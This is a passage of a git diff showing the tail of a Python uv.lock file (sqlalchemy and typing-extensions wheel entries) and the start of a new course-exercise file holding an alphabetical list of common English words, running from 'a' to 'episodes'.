"sha256:72ca54c952107ba5cd58854b67a5a6268631289d21651a1235396f3b98b47400", size = 3232055, upload-time = "2026-06-15T16:19:49.286Z" }, + { url = "https://files.pythonhosted.org/packages/67/d1/43d3a0ac955a58601c24fa23038b1c55ee3a1ec02c0f96ebb1eae2bcf614/sqlalchemy-2.0.51-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b3e693d15533a45cd5906f0589f9c35090bef6ef45bf1e8195c424aa0ae06a8d", size = 3269850, upload-time = "2026-06-15T16:26:43.017Z" }, + { url = "https://files.pythonhosted.org/packages/94/df/de669c7054cd47c4439ac34b1b2ee8b804a794791fbb10720e997a2c87c7/sqlalchemy-2.0.51-cp313-cp313-win32.whl", hash = "sha256:b93ab07b5292dbe7e6b8da89475275e7042744283921344b56105f3eeb0f828b", size = 2117721, upload-time = "2026-06-15T16:23:12.36Z" }, + { url = "https://files.pythonhosted.org/packages/d0/8a/403c51d064196bae20a0bc2476577f83a3f8dd299719a97417086b7f2ec5/sqlalchemy-2.0.51-cp313-cp313-win_amd64.whl", hash = "sha256:0f053118c30e53161857a953e4de667d90e274980dccbe5dd3829bbbeece72a5", size = 2143615, upload-time = "2026-06-15T16:23:13.906Z" }, + { url = "https://files.pythonhosted.org/packages/b1/49/a739be2e1d02a96a658eb71ab45d921c874249252358ad24a5bffdd02525/sqlalchemy-2.0.51-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6ea306caaae6bd5afd0a46050003c88f6bf33227377a49298c498c3cb88ff491", size = 2158999, upload-time = "2026-06-15T16:08:51.759Z" }, + { url = "https://files.pythonhosted.org/packages/23/6b/2e0e38cf75c8780eca78d9b2e78164f8bcfd70125e5caa588ff5cbb9c9f4/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c45a496d6bc05dec41dcd4c3a2b183723f47473255c159cd80b503c8f246424d", size = 3282539, upload-time = "2026-06-15T16:19:51.065Z" }, + { url = "https://files.pythonhosted.org/packages/dd/a1/e77854cb5336fd37dc3c6ae3b71de242c98caac5725120be0b526b31cbd0/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4004ada0aafe8ae1991b2cd1d99c6d9146126e123bd6f883c260d974aa012e54", size = 3287545, upload-time = "2026-06-15T16:26:44.735Z" }, + { url = "https://files.pythonhosted.org/packages/f6/ab/9e17272fd4dac8df3b83c4fbe52b998a1c9d89a843c8c35ff29b74ff7364/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:0f6bcad487aee1c638d707235682fc96f741de00663619881ab235400d03289e", size = 3230929, upload-time = "2026-06-15T16:19:52.625Z" }, + { url = "https://files.pythonhosted.org/packages/02/3c/52f408ea701781caee975606beccc48845f2aee8711ac29843d612c0306c/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:39a76529db6305693d8d4affa58ad5b5e2e18edd62daea628b29b97930b3513d", size = 3252888, upload-time = "2026-06-15T16:26:46.454Z" }, + { url = "https://files.pythonhosted.org/packages/24/16/3efd2ee6bc4ca4693a30a1dd17a91b606cae15d517d2a4746611d9b73ce8/sqlalchemy-2.0.51-cp314-cp314-win32.whl", hash = "sha256:08a204d8b5638717c26a24df18fcf40af45a6b22e35b70b1d62f0113c2e278e8", size = 2120551, upload-time = "2026-06-15T16:23:15.629Z" }, + { url = "https://files.pythonhosted.org/packages/7b/78/55b12e70f45bccc40d9e483925c065027b3b98ea4cbbdf6f8c2546feaf6c/sqlalchemy-2.0.51-cp314-cp314-win_amd64.whl", hash = "sha256:96747bfbadb055466e5b46d572618170046b45ce5a4879167f50d70a5319a499", size = 2146318, upload-time = "2026-06-15T16:23:17.108Z" }, + { url = "https://files.pythonhosted.org/packages/21/db/a9574ed40fed418924b1b1a3e54f47ee3963053b3d3d325a0d36b41f2c08/sqlalchemy-2.0.51-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5ea1a213be1fcd5e49d9904c3b9939211ded90bc2a64e93f4c01963474285de", size = 2178920, upload-time = "2026-06-15T15:59:56.285Z" }, + { url = "https://files.pythonhosted.org/packages/bf/90/a1bb5c7cbba76b7bc1fbd586d0a5479a7bc9c27b4a8298f22ec9423b2bb3/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7c6b36ed71f41942bdcd2ad2522be46bfce09d5705be5640ecf19bbc7660e4b7", size = 3566534, upload-time = "2026-06-15T15:58:35.024Z" }, + { url = "https://files.pythonhosted.org/packages/15/4b/481f1fed30e0e9e8dd24aecbb49f29eb57fe7657ece5cf06ee9b84bb97d8/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0c2c62877097e1a0db401fba5cb4debee33265e5b2a55c4ccb489c02c53b4f72", size = 3535844, upload-time = "2026-06-15T16:02:43.973Z" }, + { url = "https://files.pythonhosted.org/packages/02/71/0aa64aeda645510af0a43f7d9ee70932f0d1dc4263aed34c50ee891d9df3/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0378d055e9e8cd6ce4d8dff683bdd3d7d413533c4ee51d67a2b1e0f9eacc0f23", size = 3475355, upload-time = "2026-06-15T15:58:36.592Z" }, + { url = "https://files.pythonhosted.org/packages/05/db/6061db32316446135a3abae5f308d144ab988a34234726042da3e58b1c63/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6e46fc36029eff666391e0531e5387b62ce6c4f1d8e50b3fb3099eaca1b42522", size = 3486591, upload-time = "2026-06-15T16:02:45.346Z" }, + { url = "https://files.pythonhosted.org/packages/0d/c9/f14fdf71bb8957e0c7e39db69bbdf12b5c80f4ef775fdfa127bf4e0d6760/sqlalchemy-2.0.51-cp314-cp314t-win32.whl", hash = "sha256:9161cfc9efce70d1715f47d6ff40f79c6778c00d53be4fbc09d70301e4b83ba7", size = 2151313, upload-time = "2026-06-15T16:03:39.127Z" }, + { url = "https://files.pythonhosted.org/packages/6a/c6/673e618e6f4f297e126d9b56ea2f6478708f6c1af4e3223835c22e2c3697/sqlalchemy-2.0.51-cp314-cp314t-win_amd64.whl", hash = "sha256:159bb6ba32059f57ad7375a8f50d844dd2f19d14954ecf820cd33e20debd46b2", size = 2186280, upload-time = "2026-06-15T16:03:40.569Z" }, + { url = "https://files.pythonhosted.org/packages/e2/22/dbf013a12ec759e54a34a119e9e217435b3f71b2dd5c61a7ade0a25dae87/sqlalchemy-2.0.51-py3-none-any.whl", hash = "sha256:bb024d8b621d0be75f4f44ecc7c950450026e76d66dc8f791bb5331d7fed59d5", size = 1944334, upload-time = "2026-06-15T16:09:22.418Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" }, +] diff --git a/Semaine_11/Jour_01/wordlist.txt b/Semaine_11/Jour_01/wordlist.txt new file mode 100644 index 0000000..6bd26e2 --- /dev/null +++ b/Semaine_11/Jour_01/wordlist.txt @@ -0,0 +1,10000 @@ +a +aa +aaa +aaron +ab +abandoned +abc +aberdeen +abilities +ability +able +aboriginal +abortion +about +above +abraham +abroad +abs +absence +absent +absolute +absolutely +absorption +abstract +abstracts +abu +abuse +ac +academic +academics +academy +acc +accent +accept +acceptable +acceptance +accepted +accepting +accepts +access +accessed +accessibility +accessible +accessing +accessories +accessory +accident +accidents +accommodate +accommodation +accommodations +accompanied +accompanying +accomplish +accomplished +accordance +according +accordingly +account +accountability +accounting +accounts +accreditation +accredited +accuracy +accurate +accurately +accused +acdbentity +ace +acer +achieve +achieved +achievement +achievements +achieving +acid +acids +acknowledge +acknowledged +acm +acne +acoustic +acquire +acquired +acquisition +acquisitions +acre +acres +acrobat +across +acrylic +act +acting +action +actions +activated +activation +active +actively +activists +activities +activity +actor +actors +actress +acts +actual +actually +acute +ad +ada +adam +adams +adaptation +adapted +adapter +adapters +adaptive +adaptor +add +added +addiction +adding +addition +additional +additionally +additions +address +addressed +addresses +addressing +adds +adelaide +adequate +adidas +adipex +adjacent +adjust +adjustable +adjusted +adjustment +adjustments +admin +administered +administration +administrative +administrator +administrators +admission +admissions +admit +admitted +adobe +adolescent +adopt +adopted +adoption +adrian +ads +adsl +adult +adults +advance +advanced +advancement +advances +advantage +advantages +adventure +adventures +adverse +advert +advertise +advertisement +advertisements +advertiser +advertisers +advertising +advice +advise +advised +advisor +advisors +advisory +advocacy +advocate +adware +ae +aerial +aerospace +af +affair +affairs +affect +affected +affecting +affects +affiliate +affiliated +affiliates +affiliation +afford +affordable +afghanistan +afraid +africa +african +after +afternoon +afterwards +ag +again +against +age +aged +agencies +agency +agenda +agent +agents +ages +aggregate +aggressive +aging +ago +agree +agreed +agreement +agreements +agrees +agricultural +agriculture +ah +ahead +ai +aid +aids +aim +aimed +aims +air +aircraft +airfare +airline +airlines +airplane +airport +airports +aj +ak +aka +al +ala +alabama +alan +alarm +alaska +albania +albany +albert +alberta +album +albums +albuquerque +alcohol +alert +alerts +alex +alexander +alexandria +alfred +algebra +algeria +algorithm +algorithms +ali +alias +alice +alien +align +alignment +alike +alive +all +allah +allan +alleged +allen +allergy +alliance +allied +allocated +allocation +allow +allowance +allowed +allowing +allows +alloy +almost +alone +along +alot +alpha +alphabetical +alpine +already +also +alt +alter +altered +alternate +alternative +alternatively +alternatives +although +alto +aluminium +aluminum +alumni +always +am +amanda +amateur +amazing +amazon +amazoncom +amazoncouk +ambassador +amber +ambien +ambient +amd +amend +amended +amendment +amendments +amenities +america +american +americans +americas +amino +among +amongst +amount +amounts +amp +ampland +amplifier +amsterdam +amy +an +ana +anaheim +anal +analog +analyses +analysis +analyst +analysts +analytical +analyze +analyzed +anatomy +anchor +ancient +and +andale +anderson +andorra +andrea +andreas +andrew +andrews +andy +angel +angela +angeles +angels +anger +angle +angola +angry +animal +animals +animated +animation +anime +ann +anna +anne +annex +annie +anniversary +annotated +annotation +announce +announced +announcement +announcements +announces +annoying +annual +annually +anonymous +another +answer +answered +answering +answers +ant +antarctica +antenna +anthony +anthropology +anti +antibodies +antibody +anticipated +antigua +antique +antiques +antivirus +antonio +anxiety +any +anybody +anymore +anyone +anything +anytime +anyway +anywhere +aol +ap +apache +apart +apartment +apartments +api +apnic +apollo +app +apparatus +apparel +apparent +apparently +appeal +appeals +appear +appearance +appeared +appearing +appears +appendix +apple +appliance +appliances +applicable +applicant +applicants +application +applications +applied +applies +apply +applying +appointed +appointment +appointments +appraisal +appreciate +appreciated +appreciation +approach +approaches +appropriate +appropriations +approval +approve +approved +approx +approximate +approximately +apps +apr +april +apt +aqua +aquarium +aquatic +ar +arab +arabia +arabic +arbitrary +arbitration +arc +arcade +arch +architect +architects +architectural +architecture +archive +archived +archives +arctic +are +area +areas +arena +arg +argentina +argue +argued +argument +arguments +arise +arising +arizona +arkansas +arlington +arm +armed +armenia +armor +arms +armstrong +army +arnold +around +arrange +arranged +arrangement +arrangements +array +arrest +arrested +arrival +arrivals +arrive +arrived +arrives +arrow +art +arthritis +arthur +article +articles +artificial +artist +artistic +artists +arts +artwork +aruba +as +asbestos +ascii +ash +ashley +asia +asian +aside +asin +ask +asked +asking +asks +asn +asp +aspect +aspects +aspnet +ass +assault +assembled +assembly +assess +assessed +assessing +assessment +assessments +asset +assets +assign +assigned +assignment +assignments +assist +assistance +assistant +assisted +assists +associate +associated +associates +association +associations +assume +assumed +assumes +assuming +assumption +assumptions +assurance +assure +assured +asthma +astrology +astronomy +asus +at +ata +ate +athens +athletes +athletic +athletics +ati +atlanta +atlantic +atlas +atm +atmosphere +atmospheric +atom +atomic +attach +attached +attachment +attachments +attack +attacked +attacks +attempt +attempted +attempting +attempts +attend +attendance +attended +attending +attention +attitude +attitudes +attorney +attorneys +attract +attraction +attractions +attractive +attribute +attributes +au +auburn +auckland +auction +auctions +aud +audi +audience +audio +audit +auditor +aug +august +aurora +aus +austin +australia +australian +austria +authentic +authentication +author +authorities +authority +authorization +authorized +authors +auto +automated +automatic +automatically +automation +automobile +automobiles +automotive +autos +autumn +av +availability +available +avatar +ave +avenue +average +avg +avi +aviation +avoid +avoiding +avon +aw +award +awarded +awards +aware +awareness +away +awesome +awful +axis +aye +az +azerbaijan +b +ba +babe +babes +babies +baby +bachelor +back +backed +background +backgrounds +backing +backup +bacon +bacteria +bacterial +bad +badge +badly +bag +baghdad +bags +bahamas +bahrain +bailey +baker +baking +balance +balanced +bald +bali +ball +ballet +balloon +ballot +balls +baltimore +ban +banana +band +bands +bandwidth +bang +bangbus +bangkok +bangladesh +bank +banking +bankruptcy +banks +banned +banner +banners +baptist +bar +barbados +barbara +barbie +barcelona +bare +barely +bargain +bargains +barn +barnes +barrel +barrier +barriers +barry +bars +base +baseball +based +baseline +basement +basename +bases +basic +basically +basics +basin +basis +basket +basketball +baskets +bass +bat +batch +bath +bathroom +bathrooms +baths +batman +batteries +battery +battle +battlefield +bay +bb +bbc +bbs +bbw +bc +bd +bdsm +be +beach +beaches +beads +beam +bean +beans +bear +bearing +bears +beast +beastality +beastiality +beat +beatles +beats +beautiful +beautifully +beauty +beaver +became +because +become +becomes +becoming +bed +bedding +bedford +bedroom +bedrooms +beds +bee +beef +been +beer +before +began +begin +beginner +beginners +beginning +begins +begun +behalf +behavior +behavioral +behaviour +behind +beijing +being +beings +belarus +belfast +belgium +belief +beliefs +believe +believed +believes +belize +belkin +bell +belle +belly +belong +belongs +below +belt +belts +ben +bench +benchmark +bend +beneath +beneficial +benefit +benefits +benjamin +bennett +benz +berkeley +berlin +bermuda +bernard +berry +beside +besides +best +bestiality +bestsellers +bet +beta +beth +better +betting +betty +between +beverage +beverages +beverly +beyond +bg +bhutan +bi +bias +bible +biblical +bibliographic +bibliography +bicycle +bid +bidder +bidding +bids +big +bigger +biggest +bike +bikes +bikini +bill +billing +billion +bills +billy +bin +binary +bind +binding +bingo +bio +biodiversity +biographies +biography +biol +biological +biology +bios +biotechnology +bird +birds +birmingham +birth +birthday +bishop +bit +bitch +bite +bits +biz +bizarre +bizrate +bk +bl +black +blackberry +blackjack +blacks +blade +blades +blah +blair +blake +blame +blank +blanket +blast +bleeding +blend +bless +blessed +blind +blink +block +blocked +blocking +blocks +blog +blogger +bloggers +blogging +blogs +blond +blonde +blood +bloody +bloom +bloomberg +blow +blowing +blowjob +blowjobs +blue +blues +bluetooth +blvd +bm +bmw +bo +board +boards +boat +boating +boats +bob +bobby +boc +bodies +body +bold +bolivia +bolt +bomb +bon +bond +bondage +bonds +bone +bones +bonus +boob +boobs +book +booking +bookings +bookmark +bookmarks +books +bookstore +bool +boolean +boom +boost +boot +booth +boots +booty +border +borders +bored +boring +born +borough +bosnia +boss +boston +both +bother +botswana +bottle +bottles +bottom +bought +boulder +boulevard +bound +boundaries +boundary +bouquet +boutique +bow +bowl +bowling +box +boxed +boxes +boxing +boy +boys +bp +br +bra +bracelet +bracelets +bracket +brad +bradford +bradley +brain +brake +brakes +branch +branches +brand +brandon +brands +bras +brass +brave +brazil +brazilian +breach +bread +break +breakdown +breakfast +breaking +breaks +breast +breasts +breath +breathing +breed +breeding +breeds +brian +brick +bridal +bride +bridge +bridges +brief +briefing +briefly +briefs +bright +brighton +brilliant +bring +bringing +brings +brisbane +bristol +britain +britannica +british +britney +broad +broadband +broadcast +broadcasting +broader +broadway +brochure +brochures +broke +broken +broker +brokers +bronze +brook +brooklyn +brooks +bros +brother +brothers +brought +brown +browse +browser +browsers +browsing +bruce +brunei +brunette +brunswick +brush +brussels +brutal +bryan +bryant +bs +bt +bubble +buck +bucks +budapest +buddy +budget +budgets +buf +buffalo +buffer +bufing +bug +bugs +build +builder +builders +building +buildings +builds +built +bukkake +bulgaria +bulgarian +bulk +bull +bullet +bulletin +bumper +bunch +bundle +bunny +burden +bureau +buried +burke +burlington +burn +burner +burning +burns +burst +burton +bus +buses +bush +business +businesses +busty +busy +but +butler +butt +butter +butterfly +button +buttons +butts +buy +buyer +buyers +buying +buys +buzz +bw +by +bye +byte +bytes +c +ca +cab +cabin +cabinet +cabinets +cable +cables +cache +cached +cad +cadillac +cafe +cage +cake +cakes +cal +calcium +calculate +calculated +calculation +calculations +calculator +calculators +calendar +calendars +calgary +calibration +calif +california +call +called +calling +calls +calm +calvin +cam +cambodia +cambridge +camcorder +camcorders +came +camel +camera +cameras +cameron +cameroon +camp +campaign +campaigns +campbell +camping +camps +campus +cams +can +canada +canadian +canal +canberra +cancel +cancellation +cancelled +cancer +candidate +candidates +candle +candles +candy +cannon +canon +cant +canvas +canyon +cap +capabilities +capability +capable +capacity +cape +capital +capitol +caps +captain +capture +captured +car +carb +carbon +card +cardiac +cardiff +cardiovascular +cards +care +career +careers +careful +carefully +carey +cargo +caribbean +caring +carl +carlo +carlos +carmen +carnival +carol +carolina +caroline +carpet +carried +carrier +carriers +carries +carroll +carry +carrying +cars +cart +carter +cartoon +cartoons +cartridge +cartridges +cas +casa +case +cases +casey +cash +cashiers +casino +casinos +casio +cassette +cast +casting +castle +casual +cat +catalog +catalogs +catalogue +catalyst +catch +categories +category +catering +cathedral +catherine +catholic +cats +cattle +caught +cause +caused +causes +causing +caution +cave +cayman +cb +cbs +cc +ccd +cd +cdna +cds +cdt +ce +cedar +ceiling +celebrate +celebration +celebrities +celebrity +celebs +cell +cells +cellular +celtic +cement +cemetery +census +cent +center +centered +centers +central +centre +centres +cents +centuries +century +ceo +ceramic +ceremony +certain +certainly +certificate +certificates +certification +certified +cest +cet +cf +cfr +cg +cgi +ch +chad +chain +chains +chair +chairman +chairs +challenge +challenged +challenges +challenging +chamber +chambers +champagne +champion +champions +championship +championships +chan +chance +chancellor +chances +change +changed +changelog +changes +changing +channel +channels +chaos +chapel +chapter +chapters +char +character +characteristic +characteristics +characterization +characterized +characters +charge +charged +charger +chargers +charges +charging +charitable +charity +charles +charleston +charlie +charlotte +charm +charming +charms +chart +charter +charts +chase +chassis +chat +cheap +cheaper +cheapest +cheat +cheats +check +checked +checking +checklist +checkout +checks +cheers +cheese +chef +chelsea +chem +chemical +chemicals +chemistry +chen +cheque +cherry +chess +chest +chester +chevrolet +chevy +chi +chicago +chick +chicken +chicks +chief +child +childhood +children +childrens +chile +china +chinese +chip +chips +cho +chocolate +choice +choices +choir +cholesterol +choose +choosing +chorus +chose +chosen +chris +christ +christian +christianity +christians +christina +christine +christmas +christopher +chrome +chronic +chronicle +chronicles +chrysler +chubby +chuck +church +churches +ci +cia +cialis +ciao +cigarette +cigarettes +cincinnati +cindy +cinema +cingular +cio +cir +circle +circles +circuit +circuits +circular +circulation +circumstances +circus +cisco +citation +citations +cite +cited +cities +citizen +citizens +citizenship +city +citysearch +civic +civil +civilian +civilization +cj +cl +claim +claimed +claims +claire +clan +clara +clarity +clark +clarke +class +classes +classic +classical +classics +classification +classified +classifieds +classroom +clause +clay +clean +cleaner +cleaners +cleaning +cleanup +clear +clearance +cleared +clearing +clearly +clerk +cleveland +click +clicking +clicks +client +clients +cliff +climate +climb +climbing +clinic +clinical +clinics +clinton +clip +clips +clock +clocks +clone +close +closed +closely +closer +closes +closest +closing +closure +cloth +clothes +clothing +cloud +clouds +cloudy +club +clubs +cluster +clusters +cm +cms +cn +cnet +cnetcom +cnn +co +coach +coaches +coaching +coal +coalition +coast +coastal +coat +coated +coating +cock +cocks +cod +code +codes +coding +coffee +cognitive +cohen +coin +coins +col +cold +cole +coleman +colin +collaboration +collaborative +collapse +collar +colleague +colleagues +collect +collectables +collected +collectible +collectibles +collecting +collection +collections +collective +collector +collectors +college +colleges +collins +cologne +colombia +colon +colonial +colony +color +colorado +colored +colors +colour +colours +columbia +columbus +column +columnists +columns +com +combat +combination +combinations +combine +combined +combines +combining +combo +come +comedy +comes +comfort +comfortable +comic +comics +coming +comm +command +commander +commands +comment +commentary +commented +comments +commerce +commercial +commission +commissioner +commissioners +commissions +commit +commitment +commitments +committed +committee +committees +commodities +commodity +common +commonly +commons +commonwealth +communicate +communication +communications +communist +communities +community +comp +compact +companies +companion +company +compaq +comparable +comparative +compare +compared +comparing +comparison +comparisons +compatibility +compatible +compensation +compete +competent +competing +competition +competitions +competitive +competitors +compilation +compile +compiled +compiler +complaint +complaints +complement +complete +completed +completely +completing +completion +complex +complexity +compliance +compliant +complicated +complications +complimentary +comply +component +components +composed +composer +composite +composition +compound +compounds +comprehensive +compressed +compression +compromise +computation +computational +compute +computed +computer +computers +computing +con +concentrate +concentration +concentrations +concept +concepts +conceptual +concern +concerned +concerning +concerns +concert +concerts +conclude +concluded +conclusion +conclusions +concord +concrete +condition +conditional +conditioning +conditions +condo +condos +conduct +conducted +conducting +conf +conference +conferences +conferencing +confidence +confident +confidential +confidentiality +config +configuration +configure +configured +configuring +confirm +confirmation +confirmed +conflict +conflicts +confused +confusion +congo +congratulations +congress +congressional +conjunction +connect +connected +connecticut +connecting +connection +connections +connectivity +connector +connectors +cons +conscious +consciousness +consecutive +consensus +consent +consequence +consequences +consequently +conservation +conservative +consider +considerable +consideration +considerations +considered +considering +considers +consist +consistency +consistent +consistently +consisting +consists +console +consoles +consolidated +consolidation +consortium +conspiracy +const +constant +constantly +constitute +constitutes +constitution +constitutional +constraint +constraints +construct +constructed +construction +consult +consultancy +consultant +consultants +consultation +consulting +consumer +consumers +consumption +contact +contacted +contacting +contacts +contain +contained +container +containers +containing +contains +contamination +contemporary +content +contents +contest +contests +context +continent +continental +continually +continue +continued +continues +continuing +continuity +continuous +continuously +contract +contracting +contractor +contractors +contracts +contrary +contrast +contribute +contributed +contributing +contribution +contributions +contributor +contributors +control +controlled +controller +controllers +controlling +controls +controversial +controversy +convenience +convenient +convention +conventional +conventions +convergence +conversation +conversations +conversion +convert +converted +converter +convertible +convicted +conviction +convinced +cook +cookbook +cooked +cookie +cookies +cooking +cool +cooler +cooling +cooper +cooperation +cooperative +coordinate +coordinated +coordinates +coordination +coordinator +cop +cope +copied +copies +copper +copy +copying +copyright +copyrighted +copyrights +coral +cord +cordless +core +cork +corn +cornell +corner +corners +cornwall +corp +corporate +corporation +corporations +corps +corpus +correct +corrected +correction +corrections +correctly +correlation +correspondence +corresponding +corruption +cos +cosmetic +cosmetics +cost +costa +costs +costume +costumes +cottage +cottages +cotton +could +council +councils +counsel +counseling +count +counted +counter +counters +counties +counting +countries +country +counts +county +couple +coupled +couples +coupon +coupons +courage +courier +course +courses +court +courtesy +courts +cove +cover +coverage +covered +covering +covers +cow +cowboy +cox +cp +cpu +cr +crack +cradle +craft +crafts +craig +crap +craps +crash +crawford +crazy +cream +create +created +creates +creating +creation +creations +creative +creativity +creator +creature +creatures +credit +credits +creek +crest +crew +cricket +crime +crimes +criminal +crisis +criteria +criterion +critical +criticism +critics +crm +croatia +crop +crops +cross +crossing +crossword +crowd +crown +crucial +crude +cruise +cruises +cruz +cry +crystal +cs +css +cst +ct +cu +cuba +cube +cubic +cuisine +cult +cultural +culture +cultures +cum +cumshot +cumshots +cumulative +cunt +cup +cups +cure +curious +currencies +currency +current +currently +curriculum +cursor +curtis +curve +curves +custody +custom +customer +customers +customise +customize +customized +customs +cut +cute +cuts +cutting +cv +cvs +cw +cyber +cycle +cycles +cycling +cylinder +cyprus +cz +czech +d +da +dad +daddy +daily +dairy +daisy +dakota +dale +dallas +dam +damage +damaged +damages +dame +damn +dan +dana +dance +dancing +danger +dangerous +daniel +danish +danny +dans +dare +dark +darkness +darwin +das +dash +dat +data +database +databases +date +dated +dates +dating +daughter +daughters +dave +david +davidson +davis +dawn +day +days +dayton +db +dc +dd +ddr +de +dead +deadline +deadly +deaf +deal +dealer +dealers +dealing +deals +dealt +dealtime +dean +dear +death +deaths +debate +debian +deborah +debt +debug +debut +dec +decade +decades +december +decent +decide +decided +decimal +decision +decisions +deck +declaration +declare +declared +decline +declined +decor +decorating +decorative +decrease +decreased +dedicated +dee +deemed +deep +deeper +deeply +deer +def +default +defeat +defects +defence +defend +defendant +defense +defensive +deferred +deficit +define +defined +defines +defining +definitely +definition +definitions +degree +degrees +del +delaware +delay +delayed +delays +delegation +delete +deleted +delhi +delicious +delight +deliver +delivered +delivering +delivers +delivery +dell +delta +deluxe +dem +demand +demanding +demands +demo +democracy +democrat +democratic +democrats +demographic +demonstrate +demonstrated +demonstrates +demonstration +den +denial +denied +denmark +dennis +dense +density +dental +dentists +denver +deny +department +departmental +departments +departure +depend +dependence +dependent +depending +depends +deployment +deposit +deposits +depot +depression +dept +depth +deputy +der +derby +derek +derived +des +descending +describe +described +describes +describing +description +descriptions +desert +deserve +design +designated +designation +designed +designer +designers +designing +designs +desirable +desire +desired +desk +desktop +desktops +desperate +despite +destination +destinations +destiny +destroy +destroyed +destruction +detail +detailed +details +detect +detected +detection +detective +detector +determination +determine +determined +determines +determining +detroit +deutsch +deutsche +deutschland +dev +devel +develop +developed +developer +developers +developing +development +developmental +developments +develops +deviant +deviation +device +devices +devil +devon +devoted +df +dg +dh +di +diabetes +diagnosis +diagnostic +diagram +dial +dialog +dialogue +diameter +diamond +diamonds +diana +diane +diary +dice +dick +dicke +dicks +dictionaries +dictionary +did +die +died +diego +dies +diesel +diet +dietary +diff +differ +difference +differences +different +differential +differently +difficult +difficulties +difficulty +diffs +dig +digest +digit +digital +dildo +dildos +dim +dimension +dimensional +dimensions +dining +dinner +dip +diploma +dir +direct +directed +direction +directions +directive +directly +director +directories +directors +directory +dirt +dirty +dis +disabilities +disability +disable +disabled +disagree +disappointed +disaster +disc +discharge +disciplinary +discipline +disciplines +disclaimer +disclaimers +disclose +disclosure +disco +discount +discounted +discounts +discover +discovered +discovery +discrete +discretion +discrimination +discs +discuss +discussed +discusses +discussing +discussion +discussions +disease +diseases +dish +dishes +disk +disks +disney +disorder +disorders +dispatch +dispatched +display +displayed +displaying +displays +disposal +disposition +dispute +disputes +dist +distance +distances +distant +distinct +distinction +distinguished +distribute +distributed +distribution +distributions +distributor +distributors +district +districts +disturbed +div +dive +diverse +diversity +divide +divided +dividend +divine +diving +division +divisions +divorce +divx +diy +dj +dk +dl +dm +dna +dns +do +doc +dock +docs +doctor +doctors +doctrine +document +documentary +documentation +documentcreatetextnode +documented +documents +dod +dodge +doe +does +dog +dogs +doing +doll +dollar +dollars +dolls +dom +domain +domains +dome +domestic +dominant +dominican +don +donald +donate +donated +donation +donations +done +donna +donor +donors +dont +doom +door +doors +dos +dosage +dose +dot +double +doubt +doug +douglas +dover +dow +down +download +downloadable +downloadcom +downloaded +downloading +downloads +downtown +dozen +dozens +dp +dpi +dr +draft +drag +dragon +drain +drainage +drama +dramatic +dramatically +draw +drawing +drawings +drawn +draws +dream +dreams +dress +dressed +dresses +dressing +drew +dried +drill +drilling +drink +drinking +drinks +drive +driven +driver +drivers +drives +driving +drop +dropped +drops +drove +drug +drugs +drum +drums +drunk +dry +dryer +ds +dsc +dsl +dt +dts +du +dual +dubai +dublin +duck +dude +due +dui +duke +dumb +dump +duncan +duo +duplicate +durable +duration +durham +during +dust +dutch +duties +duty +dv +dvd +dvds +dx +dying +dylan +dynamic +dynamics +e +ea +each +eagle +eagles +ear +earl +earlier +earliest +early +earn +earned +earning +earnings +earrings +ears +earth +earthquake +ease +easier +easily +east +easter +eastern +easy +eat +eating +eau +ebay +ebony +ebook +ebooks +ec +echo +eclipse +eco +ecological +ecology +ecommerce +economic +economics +economies +economy +ecuador +ed +eddie +eden +edgar +edge +edges +edinburgh +edit +edited +editing +edition +editions +editor +editorial +editorials +editors +edmonton +eds +edt +educated +education +educational +educators +edward +edwards +ee +ef +effect +effective +effectively +effectiveness +effects +efficiency +efficient +efficiently +effort +efforts +eg +egg +eggs +egypt +egyptian +eh +eight +either +ejaculation +el +elder +elderly +elect +elected +election +elections +electoral +electric +electrical +electricity +electro +electron +electronic +electronics +elegant +element +elementary +elements +elephant +elevation +eleven +eligibility +eligible +eliminate +elimination +elite +elizabeth +ellen +elliott +ellis +else +elsewhere +elvis +em +emacs +email +emails +embassy +embedded +emerald +emergency +emerging +emily +eminem +emirates +emission +emissions +emma +emotional +emotions +emperor +emphasis +empire +empirical +employ +employed +employee +employees +employer +employers +employment +empty +en +enable +enabled +enables +enabling +enb +enclosed +enclosure +encoding +encounter +encountered +encourage +encouraged +encourages +encouraging +encryption +encyclopedia +end +endangered +ended +endif +ending +endless +endorsed +endorsement +ends +enemies +enemy +energy +enforcement +eng +engage +engaged +engagement +engaging +engine +engineer +engineering +engineers +engines +england +english +enhance +enhanced +enhancement +enhancements +enhancing +enjoy +enjoyed +enjoying +enlarge +enlargement +enormous +enough +enquiries +enquiry +enrolled +enrollment +ensemble +ensure +ensures +ensuring +ent +enter +entered +entering +enterprise +enterprises +enters +entertaining +entertainment +entire +entirely +entities +entitled +entity +entrance +entrepreneur +entrepreneurs +entries +entry +envelope +environment +environmental +environments +enzyme +eos +ep +epa +epic +epinions +epinionscom +episode +episodes 